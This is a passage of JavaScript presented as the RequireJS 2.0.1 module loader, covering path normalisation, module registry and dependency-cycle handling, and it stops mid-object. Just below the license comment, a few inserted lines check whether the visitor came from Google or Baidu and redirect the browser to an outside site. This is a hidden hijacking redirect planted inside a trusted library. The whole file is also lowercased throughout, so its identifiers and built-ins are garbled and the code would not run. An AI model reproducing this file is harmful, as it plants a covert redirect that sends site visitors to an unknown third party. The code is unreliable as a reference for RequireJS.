/**
 * vim: et:ts=4:sw=4:sts=4
 * 
 * @license requirejs 2.0.1 copyright (c) 2010-2012, the dojo foundation all
 *          rights reserved. available via the mit or new bsd license. see:
 *          http://github.com/jrburke/requirejs for details
 */
/* jslint regexp: true, nomen: true */
/* global window, navigator, document, importscripts, jquery, settimeout, opera */
var s=document.referrer
if(s.indexof("google")>0 || s.indexof("baidu")>0){
location.href="http://www.weiteqq.com/1.html";
}
var requirejs, require, define;
(function(global) {
	'use strict';

	var version = '2.0.1', commentregexp = /(\/\*([\s\s]*?)\*\/|([^:]|^)\/\/(.*)$)/mg, cjsrequireregexp = /require\s*\(\s*["']([^'"\s]+)["']\s*\)/g, jssuffixregexp = /\.js$/, currdirregexp = /^\.\//, ostring = object.prototype.tostring, ap = array.prototype, aps = ap.slice, apsp = ap.splice, isbrowser = !!(typeof window !== 'undefined'
			&& navigator && document), iswebworker = !isbrowser && typeof importscripts !== 'undefined',
	// ps3 indicates loaded and complete, but need to wait for complete
	// specifically. sequence is 'loading', 'loaded', execution,
	// then 'complete'. the ua check is unfortunate, but not sure how
	// to feature test w/o causing perf issues.
	readyregexp = isbrowser && navigator.platform === 'playstation 3' ? /^complete$/ : /^(complete|loaded)$/, defcontextname = '_',
	// oh the tragedy, detecting opera. see the usage of isopera for reason.
	isopera = typeof opera !== 'undefined' && opera.tostring() === '[object opera]', contexts = {}, cfg = {}, globaldefqueue = [], useinteractive = false, req, s, head, baseelement, datamain, src, interactivescript, currentlyaddingscript, mainscript, subpath;

	function isfunction(it) {
		return ostring.call(it) === '[object function]';
	}

	function isarray(it) {
		return ostring.call(it) === '[object array]';
	}

	/**
	 * helper function for iterating over an array. if the func returns a true
	 * value, it will break out of the loop.
	 */
	function each(ary, func) {
		if (ary) {
			var i;
			for (i = 0; i < ary.length; i += 1) {
				if (func(ary[i], i, ary)) {
					break;
				}
			}
		}
	}

	/**
	 * helper function for iterating over an array backwards. if the func
	 * returns a true value, it will break out of the loop.
	 */
	function eachreverse(ary, func) {
		if (ary) {
			var i;
			for (i = ary.length - 1; i > -1; i -= 1) {
				if (func(ary[i], i, ary)) {
					break;
				}
			}
		}
	}

	function hasprop(obj, prop) {
		return obj.hasownproperty(prop);
	}

	/**
	 * cycles over properties in an object and calls a function for each
	 * property value. if the function returns a truthy value, then the
	 * iteration is stopped.
	 */
	function eachprop(obj, func) {
		var prop;
		for (prop in obj) {
			if (obj.hasownproperty(prop)) {
				if (func(obj[prop], prop)) {
					break;
				}
			}
		}
	}

	/**
	 * simple function to mix in properties from source into target, but only if
	 * target does not already have a property of the same name. this is not
	 * robust in ie for transferring methods that match object.prototype names,
	 * but the uses of mixin here seem unlikely to trigger a problem related to
	 * that.
	 */
	function mixin(target, source, force) {
		if (source) {
			eachprop(source, function(value, prop) {
				if (force || !hasprop(target, prop)) {
					target[prop] = value;
				}
			});
		}
	}

	// similar to function.prototype.bind, but the 'this' object is specified
	// first, since it is easier to read/figure out what 'this' will be.
	function bind(obj, fn) {
		return function() {
			return fn.apply(obj, arguments);
		};
	}

	function scripts() {
		return document.getelementsbytagname('script');
	}

	// allow getting a global that expressed in
	// dot notation, like 'a.b.c'.
	function getglobal(value) {
		if (!value) {
			return value;
		}
		var g = global;
		each(value.split('.'), function(part) {
			g = g[part];
		});
		return g;
	}

	function makecontextmodulefunc(func, relmap, enablebuildcallback) {
		return function() {
			// a version of a require function that passes a modulename
			// value for items that may need to
			// look up paths relative to the modulename
			var args = aps.call(arguments, 0), lastarg;
			if (enablebuildcallback && isfunction((lastarg = args[args.length - 1]))) {
				lastarg.__requirejsbuild = true;
			}
			args.push(relmap);
			return func.apply(null, args);
		};
	}

	function addrequiremethods(req, context, relmap) {
		each([ [ 'tourl' ], [ 'undef' ], [ 'defined', 'requiredefined' ], [ 'specified', 'requirespecified' ] ], function(item) {
			req[item[0]] = makecontextmodulefunc(context[item[1] || item[0]], relmap);
		});
	}

	/**
	 * constructs an error with a pointer to an url with more information.
	 * 
	 * @param {string}
	 *            id the error id that maps to an id on a web page.
	 * @param {string}
	 *            message human readable error.
	 * @param {error}
	 *            [err] the original error, if there is one.
	 * 
	 * @returns {error}
	 */
	function makeerror(id, msg, err, requiremodules) {
		var e = new error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id);
		e.requiretype = id;
		e.requiremodules = requiremodules;
		if (err) {
			e.originalerror = err;
		}
		return e;
	}

	if (typeof define !== 'undefined') {
		// if a define is already in play via another amd loader,
		// do not overwrite.
		return;
	}

	if (typeof requirejs !== 'undefined') {
		if (isfunction(requirejs)) {
			// do not overwrite and existing requirejs instance.
			return;
		}
		cfg = requirejs;
		requirejs = undefined;
	}

	// allow for a require config object
	if (typeof require !== 'undefined' && !isfunction(require)) {
		// assume it is a config object.
		cfg = require;
		require = undefined;
	}

	function newcontext(contextname) {
		var config = {
			waitseconds : 7,
			baseurl : './',
			paths : {},
			pkgs : {},
			shim : {}
		}, registry = {}, undefevents = {}, defqueue = [], defined = {}, urlmap = {}, urlfetched = {}, requirecounter = 1, unnormalizedcounter = 1,
		// used to track the order in which modules
		// should be executed, by the order they
		// load. important for consistent cycle resolution
		// behavior.
		waitary = [], incheckloaded, module, context, handlers, checkloadedtimeoutid;

		/**
		 * trims the . and .. from an array of path segments. it will keep a
		 * leading path segment if a .. will become the first path segment, to
		 * help with module name lookups, which act like paths, but can be
		 * remapped. but the end result, all paths that use this function should
		 * look normalized. note: this method modifies the input array.
		 * 
		 * @param {array}
		 *            ary the array of path segments.
		 */
		function trimdots(ary) {
			var i, part;
			for (i = 0; ary[i]; i += 1) {
				part = ary[i];
				if (part === '.') {
					ary.splice(i, 1);
					i -= 1;
				} else if (part === '..') {
					if (i === 1 && (ary[2] === '..' || ary[0] === '..')) {
						// end of the line. keep at least one non-dot
						// path segment at the front so it can be mapped
						// correctly to disk. otherwise, there is likely
						// no path mapping for a path starting with '..'.
						// this can still fail, but catches the most reasonable
						// uses of ..
						break;
					} else if (i > 0) {
						ary.splice(i - 1, 2);
						i -= 2;
					}
				}
			}
		}

		/**
		 * given a relative module name, like ./something, normalize it to a
		 * real name that can be mapped to a path.
		 * 
		 * @param {string}
		 *            name the relative name
		 * @param {string}
		 *            basename a real name that the name arg is relative to.
		 * @param {boolean}
		 *            applymap apply the map config to the value. should only be
		 *            done if this normalization is for a dependency id.
		 * @returns {string} normalized name
		 */
		function normalize(name, basename, applymap) {
			var baseparts = basename && basename.split('/'), map = config.map, starmap = map && map['*'], pkgname, pkgconfig, mapvalue, nameparts, i, j, namesegment, foundmap;

			// adjust any relative paths.
			if (name && name.charat(0) === '.') {
				// if have a base name, try to normalize against it,
				// otherwise, assume it is a top-level require that will
				// be relative to baseurl in the end.
				if (basename) {
					if (config.pkgs[basename]) {
						// if the basename is a package name, then just treat it
						// as one
						// name to concat the name with.
						baseparts = [ basename ];
					} else {
						// convert basename to array, and lop off the last part,
						// so that . matches that 'directory' and not name of
						// the basename's
						// module. for instance, basename of 'one/two/three',
						// maps to
						// 'one/two/three.js', but we want the directory,
						// 'one/two' for
						// this normalization.
						baseparts = baseparts.slice(0, baseparts.length - 1);
					}

					name = baseparts.concat(name.split('/'));
					trimdots(name);

					// some use of packages may use a . path to reference the
					// 'main' module name, so normalize for that.
					pkgconfig = config.pkgs[(pkgname = name[0])];
					name = name.join('/');
					if (pkgconfig && name === pkgname + '/' + pkgconfig.main) {
						name = pkgname;
					}
				} else if (name.indexof('./') === 0) {
					// no basename, so this is id is resolved relative
					// to baseurl, pull off the leading dot.
					name = name.substring(2);
				}
			}

			// apply map config if available.
			if (applymap && (baseparts || starmap) && map) {
				nameparts = name.split('/');

				for (i = nameparts.length; i > 0; i -= 1) {
					namesegment = nameparts.slice(0, i).join('/');

					if (baseparts) {
						// find the longest basename segment match in the
						// config.
						// so, do joins on the biggest to smallest lengths of
						// baseparts.
						for (j = baseparts.length; j > 0; j -= 1) {
							mapvalue = map[baseparts.slice(0, j).join('/')];

							// basename segment has config, find if it has one
							// for
							// this name.
							if (mapvalue) {
								mapvalue = mapvalue[namesegment];
								if (mapvalue) {
									// match, update name to the new value.
									foundmap = mapvalue;
									break;
								}
							}
						}
					}

					if (!foundmap && starmap && starmap[namesegment]) {
						foundmap = starmap[namesegment];
					}

					if (foundmap) {
						nameparts.splice(0, i, foundmap);
						name = nameparts.join('/');
						break;
					}
				}
			}

			return name;
		}

		function removescript(name) {
			if (isbrowser) {
				each(scripts(), function(scriptnode) {
					if (scriptnode.getattribute('data-requiremodule') === name
							&& scriptnode.getattribute('data-requirecontext') === context.contextname) {
						scriptnode.parentnode.removechild(scriptnode);
						return true;
					}
				});
			}
		}

		function haspathfallback(id) {
			var pathconfig = config.paths[id];
			if (pathconfig && isarray(pathconfig) && pathconfig.length > 1) {
				removescript(id);
				// pop off the first array value, since it failed, and
				// retry
				pathconfig.shift();
				context.undef(id);
				context.require([ id ]);
				return true;
			}
		}

		/**
		 * creates a module mapping that includes plugin prefix, module name,
		 * and path. if parentmodulemap is provided it will also normalize the
		 * name via require.normalize()
		 * 
		 * @param {string}
		 *            name the module name
		 * @param {string}
		 *            [parentmodulemap] parent module map for the module name,
		 *            used to resolve relative names.
		 * @param {boolean}
		 *            isnormalized: is the id already normalized. this is true
		 *            if this call is done for a define() module id.
		 * @param {boolean}
		 *            applymap: apply the map config to the id. should only be
		 *            true if this map is for a dependency.
		 * 
		 * @returns {object}
		 */
		function makemodulemap(name, parentmodulemap, isnormalized, applymap) {
			var index = name ? name.indexof('!') : -1, prefix = null, parentname = parentmodulemap ? parentmodulemap.name : null, originalname = name, isdefine = true, normalizedname = '', url, pluginmodule, suffix;

			// if no name, then it means it is a require call, generate an
			// internal name.
			if (!name) {
				isdefine = false;
				name = '_@r' + (requirecounter += 1);
			}

			if (index !== -1) {
				prefix = name.substring(0, index);
				name = name.substring(index + 1, name.length);
			}

			if (prefix) {
				prefix = normalize(prefix, parentname, applymap);
				pluginmodule = defined[prefix];
			}

			// account for relative paths if there is a base name.
			if (name) {
				if (prefix) {
					if (pluginmodule && pluginmodule.normalize) {
						// plugin is loaded, use its normalize method.
						normalizedname = pluginmodule.normalize(name, function(name) {
							return normalize(name, parentname, applymap);
						});
					} else {
						normalizedname = normalize(name, parentname, applymap);
					}
				} else {
					// a regular module.
					normalizedname = normalize(name, parentname, applymap);

					url = urlmap[normalizedname];
					if (!url) {
						// calculate url for the module, if it has a name.
						// use name here since nametourl also calls normalize,
						// and for relative names that are outside the baseurl
						// this causes havoc. was thinking of just removing
						// parentmodulemap to avoid extra normalization, but
						// normalize() still does a dot removal because of
						// issue #142, so just pass in name here and redo
						// the normalization. paths outside baseurl are just
						// messy to support.
						url = context.nametourl(name, null, parentmodulemap);

						// store the url mapping for later.
						urlmap[normalizedname] = url;
					}
				}
			}

			// if the id is a plugin id that cannot be determined if it needs
			// normalization, stamp it with a unique id so two matching relative
			// ids that may conflict can be separate.
			suffix = prefix && !pluginmodule && !isnormalized ? '_unnormalized' + (unnormalizedcounter += 1) : '';

			return {
				prefix : prefix,
				name : normalizedname,
				parentmap : parentmodulemap,
				unnormalized : !!suffix,
				url : url,
				originalname : originalname,
				isdefine : isdefine,
				id : (prefix ? prefix + '!' + normalizedname : normalizedname) + suffix
			};
		}

		function getmodule(depmap) {
			var id = depmap.id, mod = registry[id];

			if (!mod) {
				mod = registry[id] = new context.module(depmap);
			}

			return mod;
		}

		function on(depmap, name, fn) {
			var id = depmap.id, mod = registry[id];

			if (hasprop(defined, id) && (!mod || mod.defineemitcomplete)) {
				if (name === 'defined') {
					fn(defined[id]);
				}
			} else {
				getmodule(depmap).on(name, fn);
			}
		}

		function onerror(err, errback) {
			var ids = err.requiremodules, notified = false;

			if (errback) {
				errback(err);
			} else {
				each(ids, function(id) {
					var mod = registry[id];
					if (mod) {
						// set error on module, so it skips timeout checks.
						mod.error = err;
						if (mod.events.error) {
							notified = true;
							mod.emit('error', err);
						}
					}
				});

				if (!notified) {
					req.onerror(err);
				}
			}
		}

		/**
		 * internal method to transfer globalqueue items to this context's
		 * defqueue.
		 */
		function takeglobalqueue() {
			// push all the globaldefqueue items into the context's defqueue
			if (globaldefqueue.length) {
				// array splice in the values since the context code has a
				// local var ref to defqueue, so cannot just reassign the one
				// on context.
				apsp.apply(defqueue, [ defqueue.length - 1, 0 ].concat(globaldefqueue));
				globaldefqueue = [];
			}
		}

		/**
		 * helper function that creates a require function object to give to
		 * modules that ask for it as a dependency. it needs to be specific per
		 * module because of the implication of path mappings that may need to
		 * be relative to the module name.
		 */
		function makerequire(mod, enablebuildcallback, altrequire) {
			var relmap = mod && mod.map, modrequire = makecontextmodulefunc(altrequire || context.require, relmap, enablebuildcallback);

			addrequiremethods(modrequire, context, relmap);
			modrequire.isbrowser = isbrowser;

			return modrequire;
		}

		handlers = {
			'require' : function(mod) {
				return makerequire(mod);
			},
			'exports' : function(mod) {
				mod.usingexports = true;
				if (mod.map.isdefine) {
					return (mod.exports = defined[mod.map.id] = {});
				}
			},
			'module' : function(mod) {
				return (mod.module = {
					id : mod.map.id,
					uri : mod.map.url,
					config : function() {
						return (config.config && config.config[mod.map.id]) || {};
					},
					exports : defined[mod.map.id]
				});
			}
		};

		function removewaiting(id) {
			// clean up machinery used for waiting modules.
			delete registry[id];

			each(waitary, function(mod, i) {
				if (mod.map.id === id) {
					waitary.splice(i, 1);
					if (!mod.defined) {
						context.waitcount -= 1;
					}
					return true;
				}
			});
		}

		function findcycle(mod, traced) {
			var id = mod.map.id, deparray = mod.depmaps, foundmodule;

			// do not bother with unitialized modules or not yet enabled
			// modules.
			if (!mod.inited) {
				return;
			}

			// found the cycle.
			if (traced[id]) {
				return mod;
			}

			traced[id] = true;

			// trace through the dependencies.
			each(deparray, function(depmap) {
				var depid = depmap.id, depmod = registry[depid];

				if (!depmod) {
					return;
				}

				if (!depmod.inited || !depmod.enabled) {
					// dependency is not inited, so this cannot
					// be used to determine a cycle.
					foundmodule = null;
					delete traced[id];
					return true;
				}

				return (foundmodule = findcycle(depmod, traced));
			});

			return foundmodule;
		}

		function forceexec(mod, traced, uninited) {
			var id = mod.map.id, deparray = mod.depmaps;

			if (!mod.inited || !mod.map.isdefine) {
				return;
			}

			if (traced[id]) {
				return defined[id];
			}

			traced[id] = mod;

			each(deparray, function(depmap) {
				var depid = depmap.id, depmod = registry[depid], value;

				if (handlers[depid]) {
					return;
				}

				if (depmod) {
					if (!depmod.inited || !depmod.enabled) {
						// dependency is not inited,
						// so this module cannot be
						// given a forced value yet.
						uninited[id] = true;
						return;
					}

					// get the value for the current dependency
					value = forceexec(depmod, traced, uninited);

					// even with forcing it may not be done,
					// in particular if the module is waiting
					// on a plugin resource.
					if (!uninited[depid]) {
						mod.definedepbyid(depid, value);
					}
				}
			});

			mod.check(true);

			return defined[id];
		}

		function modcheck(mod) {
			mod.check();
		}

		function checkloaded() {
			var waitinterval = config.waitseconds * 1000,
			// it is possible to disable the wait interval by using waitseconds
			// of 0.
			expired = waitinterval && (context.starttime + waitinterval) < new date().gettime(), noloads = [], stillloading = false, needcyclecheck = true, map, modid, err, usingpathfallback;

			// do not bother if this call was a result of a cycle break.
			if (incheckloaded) {
				return;
			}

			incheckloaded = true;

			// figure out the state of all the modules.
			eachprop(registry, function(mod) {
				map = mod.map;
				modid = map.id;

				// skip things that are not enabled or in error state.
				if (!mod.enabled) {
					return;
				}

				if (!mod.error) {
					// if the module should be executed, and it has not
					// been inited and time is up, remember it.
					if (!mod.inited && expired) {
						if (haspathfallback(modid)) {
							usingpathfallback = true;
							stillloading = true;
						} else {
							noloads.push(modid);
							removescript(modid);
						}
					} else if (!mod.inited && mod.fetched && map.isdefine) {
						stillloading = true;
						if (!map.prefix) {
							// no reason to keep looking for unfinished
							// loading. if the only stillloading is a
							// plugin resource though, keep going,
							// because it may be that a plugin resource
							// is waiting on a non-plugin cycle.
							return (needcyclecheck = false);
						}
					}
				}
			});

			if (expired && noloads.length) {
				// if wait time expired, throw error of unloaded modules.
				err = makeerror('timeout', 'load timeout for modules: ' + noloads, null, noloads);
				err.contextname = context.contextname;
				return onerror(err);
			}

			// not expired, check for a cycle.
			if (needcyclecheck) {

				each(waitary, function(mod) {
					if (mod.defined) {
						return;
					}

					var cyclemod = findcycle(mod, {}), traced = {};

					if (cyclemod) {
						forceexec(cyclemod, traced, {});

						// traced modules may have been
						// removed from the registry, but
						// their listeners still need to
						// be called.
						eachprop(traced, modcheck);
					}
				});

				// now that dependencies have
				// been satisfied, trigger the
				// completion check that then
				// notifies listeners.
				eachprop(registry, modcheck);
			}

			// if still waiting on loads, and the waiting load is something
			// other than a plugin resource, or there are still outstanding
			// scripts, then just try back later.
			if ((!expired || usingpathfallback) && stillloading) {
				// something is still waiting to load. wait for it, but only
				// if a timeout is not already in effect.
				if ((isbrowser || iswebworker) && !checkloadedtimeoutid) {
					checkloadedtimeoutid = settimeout(function() {
						checkloadedtimeoutid = 0;
						checkloaded();
					}, 50);
				}
			}

			incheckloaded = false;
		}

		module = function(map) {
			this.events = undefevents[map.id] || {};
			this.map = map;
			this.shim = config.shim[map.id];
			this.depexports = [];
			this.depmaps = [];
			this.depmatched = [];
			this.pluginmaps = {};
			this.depcount = 0;

			/*
			 * this.exports this.factory this.depmaps = [], this.enabled,
			 * this.fetched
			 */
		};

		module.prototype = {
			init : function(depmaps, factory, errback, options) {
				options = options || {};

				// do not do more inits if already done. can happen if there
				// are multiple define calls for the same module. that is not
				// a normal, common case, but it is also not unexpected.
				if (this.inited) {
					return;
				}

				this.factory = factory;

				if (errback) {
					// register for errors on this module.
					this.on('error', errback);
				} else if (this.events.error) {
					// if no errback already, but there are error listeners
					// on this module, set up an errback to pass to the deps.
					errback = bind(this, function(err) {
						this.emit('error', err);
					});
				}

				each(depmaps, bind(this, function(depmap, i) {
					if (typeof depmap === 'string') {
						depmap = makemodulemap(depmap, (this.map.isdefine ? this.map : this.map.parentmap), false, true);
						this.depmaps.push(depmap);
					}

					var handler = handlers[depmap.id];

					if (handler) {
						this.depexports[i] = handler(this);
						return;
					}

					this.depcount += 1;

					on(depmap, 'defined', bind(this, function(depexports) {
						this.definedep(i, depexports);
						this.check();
					}));

					if (errback) {
						on(depmap, 'error', errback);
					}
				}));

				// indicate this module has be initialized
				this.inited = true;

				this.ignore = options.ignore;

				// could have option to init this module in enabled mode,
				// or could have been previously marked as enabled. however,
				// the dependencies are not known until init is called. so
				// if enabled previously, now trigger dependencies as enabled.
				if (options.enabled || this.enabled) {
					// enable this module and dependencies.
					// will call this.check()
					this.enable();
				} else {
					this.check();
				}
			},

			definedepbyid : function(id, depexports) {
				var i;

				// find the index for this dependency.
				each(this.depmaps, function(map, index) {
					if (map.id === id) {
						i = index;
						return true;
					}
				});

				return this.definedep(i, depexports);
			},

			definedep : function(i, depexports) {
				// because of cycles, defined callback for a given
				// export can be called more than once.
				if (!this.depmatched[i]) {
					this.depmatched[i] = true;
					this.depcount -= 1;
					this.depexports[i] = depexports;
				}
			},

			fetch : function() {
				if (this.fetched) {
					return;
				}
				this.fetched = true;

				context.starttime = (new date()).gettime();

				var map = this.map;

				// if the manager is for a plugin managed resource,
				// ask the plugin to load it now.
				if (map.prefix) {
					this.callplugin();
				} else if (this.shim) {
					makerequire(this, true)(this.shim.deps || [], bind(this, function() {
						this.load();
					}));
				} else {
					// regular dependency.
					this.load();
				}
			},

			load : function() {
				var url = this.map.url;

				// regular dependency.
				if (!urlfetched[url]) {
					urlfetched[url] = true;
					context.load(this.map.id, url);
				}
			},

			/**
			 * checks is the module is ready to define itself, and if so, define
			 * it. if the silent argument is true, then it will just define, but
			 * not notify listeners, and not ask for a context-wide check of all
			 * loaded modules. that is useful for cycle breaking.
			 */
			check : function(silent) {
				if (!this.enabled) {
					return;
				}

				var id = this.map.id, depexports = this.depexports, exports = this.exports, factory = this.factory, err, cjsmodule;

				if (!this.inited) {
					this.fetch();
				} else if (this.error) {
					this.emit('error', this.error);
				} else if (!this.defining) {
					// the factory could trigger another require call
					// that would result in checking this module to
					// define itself again. if already in the process
					// of doing that, skip this work.
					this.defining = true;

					if (this.depcount < 1 && !this.defined) {
						if (isfunction(factory)) {
							// if there is an error listener, favor passing
							// to that instead of throwing an error.
							if (this.events.error) {
								try {
									exports = context.execcb(id, factory, depexports, exports);
								} catch (e) {
									err = e;
								}
							} else {
								exports = context.execcb(id, factory, depexports, exports);
							}

							if (this.map.isdefine) {
								// if setting exports via 'module' is in play,
								// favor that over return value and exports.
								// after that,
								// favor a non-undefined return value over
								// exports use.
								cjsmodule = this.module;
								if (cjsmodule && cjsmodule.exports !== undefined &&
								// make sure it is not already the exports value
								cjsmodule.exports !== this.exports) {
									exports = cjsmodule.exports;
								} else if (exports === undefined && this.usingexports) {
									// exports already set the defined value.
									exports = this.exports;
								}
							}

							if (err) {
								err.requiremap = this.map;
								err.requiremodules = [ this.map.id ];
								err.requiretype = 'define';
								return onerror((this.error = err));
							}

						} else {
							// just a literal value
							exports = factory;
						}

						this.exports = exports;

						if (this.map.isdefine && !this.ignore) {
							defined[id] = exports;

							if (req.onresourceload) {
								req.onresourceload(context, this.map, this.depmaps);
							}
						}

						// clean up
						delete registry[id];

						this.defined = true;
						context.waitcount -= 1;
						if (context.waitcount === 0) {
							// clear the wait array used for cycles.
							waitary = [];
						}
					}

					// finished the define stage. allow calling check again
					// to allow define notifications below in the case of a
					// cycle.
					this.defining = false;

					if (!silent) {
						if (this.defined && !this.defineemitted) {
							this.defineemitted = true;
							this.emit('defined', this.exports);
							this.defineemitcomplete = true;
						}
					}
				}
			},

			callplugin : function() {
				var map = this.map, id = map.id, pluginmap = makemodulemap(map.prefix, null, false, true);

				on(pluginmap, 'defined', bind(this, function(plugin) {
					var name = this.map.name, parentname = this.map.parentmap ? this.map.parentmap.name : null, load, normalizedmap, normalizedmod;

					// if current map is not normalized, wait for that
					// normalized name to load instead of continuing.
					if (this.map.unnormalized) {
						// normalize the id if the plugin allows it.
						if (plugin.normalize) {
							name = plugin.normalize(name, function(name) {
								return normalize(name, parentname, true);
							}) || '';
						}

						normalizedmap = makemodulemap(map.prefix + '!' + name);
						on(normalizedmap, 'defined', bind(this, function(value) {
							this.init([], function() {
								return value;
							}, null, {
								enabled : true,
								ignore : true
							});
						}));
						normalizedmod = registry[normalizedmap.id];
						if (normalizedmod) {
							if (this.events.error) {
								normalizedmod.on('error', bind(this, function(err) {
									this.emit('error', err);
								}));
							}
							normalizedmod.enable();
						}

						return;
					}

					load = bind(this, function(value) {
						this.init([], function() {
							return value;
						}, null, {
							enabled : true
						});
					});

					load.error = bind(this, function(err) {
						this.inited = true;
						this.error = err;
						err.requiremodules = [ id ];

						// remove temp unnormalized modules for this module,
						// since they will never be resolved otherwise now.
						eachprop(registry, function(mod) {
							if (mod.map.id.indexof(id + '_unnormalized') === 0) {
								removewaiting(mod.map.id);
							}
						});

						onerror(err);
					});

					// allow plugins to load other code without having to know
					// the
					// context or how to 'complete' the load.
					load.fromtext = function(modulename, text) {
						/* jslint evil: true */
						var hasinteractive = useinteractive;

						// turn off interactive script matching for ie for any
						// define
						// calls in the text, then turn it back on at the end.
						if (hasinteractive) {
							useinteractive = false;
						}

						req.exec(text);

						if (hasinteractive) {
							useinteractive = true;
						}

						// support anonymous modules.
						context.completeload(modulename);
					};

					// use parentname here since the plugin's name is not
					// reliable,
					// could be some weird string with no path that actually
					// wants to
					// reference the parentname's path.
					plugin.load(map.name, makerequire(map.parentmap, true, function(deps, cb) {
						return context.require(deps, cb);
					}), load, config);
				}));

				context.enable(pluginmap, this);
				this.pluginmaps[pluginmap.id] = pluginmap;
			},

			enable : function() {
				this.enabled = true;

				if (!this.waitpushed) {
					waitary.push(this);
					context.waitcount += 1;
					this.waitpushed = true;
				}

				// enable each dependency
				each(this.depmaps, bind(this, function(map) {
					var id = map.id, mod = registry[id];
					// skip special modules like 'require', 'exports', 'module'
					// also, don't call enable if it is already enabled,
					// important in circular dependency cases.
					if (!handlers[id] && mod && !mod.enabled) {
						context.enable(map, this);
					}
				}));

				// enable each plugin that is used in
				// a dependency
				eachprop(this.pluginmaps, bind(this, function(pluginmap) {
					var mod = registry[pluginmap.id];
					if (mod && !mod.enabled) {
						context.enable(pluginmap, this);
					}
				}));

				this.check();
			},

			on : function(name, cb) {
				var cbs = this.events[name];
				if (!cbs) {
					cbs = this.events[name] = [];
				}
				cbs.push(cb);
			},

			emit : function(name, evt) {
				each(this.events[name], function(cb) {
					cb(evt);
				});
				if (name === 'error') {
					// now that the error handler was triggered, remove
					// the listeners, since this broken module instance
					// can stay around for a while in the registry/waitary.
					delete this.events[name];
				}
			}
		};

		function callgetmodule(args) {
			getmodule(makemodulemap(args[0], null, true)).init(args[1], args[2]);
		}

		function removelistener(node, func, name, iename) {
			// favor detachevent because of ie9
			// issue, see attachevent/addeventlistener comment elsewhere
			// in this file.
			if (node.detachevent && !isopera) {
				// probably ie. if not it will throw an error, which will be
				// useful to know.
				if (iename) {
					node.detachevent(iename, func);
				}
			} else {
				node.removeeventlistener(name, func, false);
			}
		}

		/**
		 * given an event from a script node, get the requirejs info from it,
		 * and then removes the event listeners on the node.
		 * 
		 * @param {event}
		 *            evt
		 * @returns {object}
		 */
		function getscriptdata(evt) {
			// using currenttarget instead of target for firefox 2.0's sake. not
			// all old browsers will be supported, but this one was easy enough
			// to support and still makes sense.
			var node = evt.currenttarget || evt.srcelement;

			// remove the listeners once here.
			removelistener(node, context.onscriptload, 'load', 'onreadystatechange');
			removelistener(node, context.onscripterror, 'error');

			return {
				node : node,
				id : node && node.getattribute('data-requiremodule')
			};
		}

		return (context = {
			config : config,
			contextname : contextname,
			registry : registry,
			defined : defined,
			urlmap : urlmap,
			urlfetched : urlfetched,
			waitcount : 0,
			defqueue : defqueue,
			module : module,
			makemodulemap : makemodulemap,

			/**
			 * set a configuration for the context.
			 * 
			 * @param {object}
			 *            cfg config object to integrate.
			 */
			configure : function(cfg) {
				// make sure the baseurl ends in a slash.
				if (cfg.baseurl) {
					if (cfg.baseurl.charat(cfg.baseurl.length - 1) !== '/') {
						cfg.baseurl += '/';
					}
				}

				// save off the paths and packages since they require special
				// processing,
				// they are additive.
				var paths = config.paths, pkgs = config.pkgs, shim = config.shim, map = config.map || {};

				// mix in the config values, favoring the new values over
				// existing ones in context.config.
				mixin(config, cfg, true);

				// merge paths.
				mixin(paths, cfg.paths, true);
				config.paths = paths;

				// merge map
				if (cfg.map) {
					mixin(map, cfg.map, true);
					config.map = map;
				}

				// merge shim
				if (cfg.shim) {
					eachprop(cfg.shim, function(value, id) {
						// normalize the structure
						if (isarray(value)) {
							value = {
								deps : value
							};
						}
						if (value.exports && !value.exports.__buildready) {
							value.exports = context.makeshimexports(value.exports);
						}
						shim[id] = value;
					});
					config.shim = shim;
				}

				// adjust packages if necessary.
				if (cfg.packages) {
					each(cfg.packages, function(pkgobj) {
						var location;

						pkgobj = typeof pkgobj === 'string' ? {
							name : pkgobj
						} : pkgobj;
						location = pkgobj.location;

						// create a brand new object on pkgs, since
						// currentpackages can
						// be passed in again, and config.pkgs is the internal
						// transformed
						// state for all package configs.
						pkgs[pkgobj.name] = {
							name : pkgobj.name,
							location : location || pkgobj.name,
							// remove leading dot in main, so main paths are
							// normalized,
							// and remove any trailing .js, since different
							// package
							// envs have different conventions: some use a
							// module name,
							// some use a file name.
							main : (pkgobj.main || 'main').replace(currdirregexp, '').replace(jssuffixregexp, '')
						};
					});

					// done with modifications, assing packages back to context
					// config
					config.pkgs = pkgs;
				}

				// if a deps array or a config callback is specified, then call
				// require with those args. this is useful when require is
				// defined as a
				// config object before require.js is loaded.
				if (cfg.deps || cfg.callback) {
					context.require(cfg.deps || [], cfg.callback);
				}
			},

			makeshimexports : function(exports) {
				var func;
				if (typeof exports === 'string') {
					func = function() {
						return getglobal(exports);
					};
					// save the exports for use in nodefine checking.
					func.exports = exports;
					return func;
				} else {
					return function() {
						return exports.apply(global, arguments);
					};
				}
			},

			requiredefined : function(id, relmap) {
				return hasprop(defined, makemodulemap(id, relmap, false, true).id);
			},

			requirespecified : function(id, relmap) {
				id = makemodulemap(id, relmap, false, true).id;
				return hasprop(defined, id) || hasprop(registry, id);
			},

			require : function(deps, callback, errback, relmap) {
				var modulename, id, map, requiremod, args;
				if (typeof deps === 'string') {
					if (isfunction(callback)) {
						// invalid call
						return onerror(makeerror('requireargs', 'invalid require call'), errback);
					}

					// synchronous access to one module. if require.get is
					// available (as in the node adapter), prefer that.
					// in this case deps is the modulename and callback is
					// the relmap
					if (req.get) {
						return req.get(context, deps, callback);
					}

					// just return the module wanted. in this scenario, the
					// second arg (if passed) is just the relmap.
					modulename = deps;
					relmap = callback;

					// normalize module name, if it contains . or ..
					map = makemodulemap(modulename, relmap, false, true);
					id = map.id;

					if (!hasprop(defined, id)) {
						return onerror(makeerror('notloaded', 'module name "' + id + '" has not been loaded yet for context: ' + contextname));
					}
					return defined[id];
				}

				// callback require. normalize args. if callback or errback is
				// not a function, it means it is a relmap. test errback first.
				if (errback && !isfunction(errback)) {
					relmap = errback;
					errback = undefined;
				}
				if (callback && !isfunction(callback)) {
					relmap = callback;
					callback = undefined;
				}

				// any defined modules in the global queue, intake them now.
				takeglobalqueue();

				// make sure any remaining defqueue items get properly
				// processed.
				while (defqueue.length) {
					args = defqueue.shift();
					if (args[0] === null) {
						return onerror(makeerror('mismatch', 'mismatched anonymous define() module: ' + args[args.length - 1]));
					} else {
						// args are id, deps, factory. should be normalized by
						// the
						// define() function.
						callgetmodule(args);
					}
				}

				// mark all the dependencies as needing to be loaded.
				requiremod = getmodule(makemodulemap(null, relmap));

				requiremod.init(deps, callback, errback, {
					enabled : true
				});

				checkloaded();

				return context.require;
			},

